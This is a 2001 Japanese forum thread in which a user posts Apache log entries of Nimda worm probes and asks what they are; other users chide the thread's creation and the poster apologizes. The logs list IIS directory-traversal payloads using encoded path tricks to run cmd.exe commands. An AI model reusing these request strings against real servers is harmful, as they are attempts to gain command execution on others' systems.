1 :
かるぴすうぉ〜た〜:
最近、こんなのがよく来ます。
なんか故意にやっているのではなく、定期的になんらかのソフトを使ってやっているようです。
404と出ているので、被害がでているようには見えないのですが、やはりヘンなログが残ると不気味です。
これ、なんでしょう?
fla1aae052.stm.mesh.ad.jp - - [21/Sep/2001:03:48:33 +0900] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 334
fla1aae052.stm.mesh.ad.jp - - [21/Sep/2001:03:48:33 +0900] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 332
fla1aae052.stm.mesh.ad.jp - - [21/Sep/2001:03:48:33 +0900] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 342
fla1aae052.stm.mesh.ad.jp - - [21/Sep/2001:03:48:34 +0900] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 342
fla1aae052.stm.mesh.ad.jp - - [21/Sep/2001:03:48:34 +0900] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 356
fla1aae052.stm.mesh.ad.jp - - [21/Sep/2001:03:48:34 +0900] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 373
fla1aae052.stm.mesh.ad.jp - - [21/Sep/2001:03:48:34 +0900] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 373
fla1aae052.stm.mesh.ad.jp - - [21/Sep/2001:03:48:34 +0900] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 389
fla1aae052.stm.mesh.ad.jp - - [21/Sep/2001:03:48:35 +0900] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 355
fla1aae052.stm.mesh.ad.jp - - [21/Sep/2001:03:48:35 +0900] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 355
fla1aae052.stm.mesh.ad.jp - - [21/Sep/2001:03:48:35 +0900] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 355
fla1aae052.stm.mesh.ad.jp - - [21/Sep/2001:03:48:35 +0900] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 355
fla1aae052.stm.mesh.ad.jp - - [21/Sep/2001:03:48:36 +0900] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 339
fla1aae052.stm.mesh.ad.jp - - [21/Sep/2001:03:48:36 +0900] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 339
fla1aae052.stm.mesh.ad.jp - - [21/Sep/2001:03:48:36 +0900] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 356
fla1aae052.stm.mesh.ad.jp - - [21/Sep/2001:03:48:36 +0900] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 356
apacheのログより。
かるぴすうぉ〜た〜 さん。
■ 初心者用質問スレッド Part III ■
http://ton.2ch.net/test/read.cgi?bbs=sec&key=1000914322 で質問するとやさしく教えてくれるとおもいます。
単発の質問スレはマナー違反なので誰もまともに教えてくれないですよ。
「本来ここは情報交換の場であって、一方的に「教えて」という人が来るべき場所ではない。
でもあまりに質問に来る人が多いから、親切な人が質問用のスレッドをつくって、
いわばボランティアで、情報交換の片手間に答えてくれてる。
そんな状況下でさらにスレッド立てちゃう神経がわからん。 」
ということです。
あ、これが最近話題のNimdaだったんですか、すみません、知識不足で。
さげてください、すみませんでした。
* ママ〜 2chでスレたてたよ〜
\__ ______
∨ ∧_∧
" , 、 ミ / ̄ ̄ ̄ ̄ ̄
ゝ∀ く < 悪いね、みんなを困らせて
∧_∧ | \_____
三 ( とノ
三 / つ |
三 _ ( _ /| |
(_ソ(_ソ(_ )
6 :
名無しさん@お腹いっぱい。:02/01/01 20:54
悪い子ちゃんね。
煎ってよし
test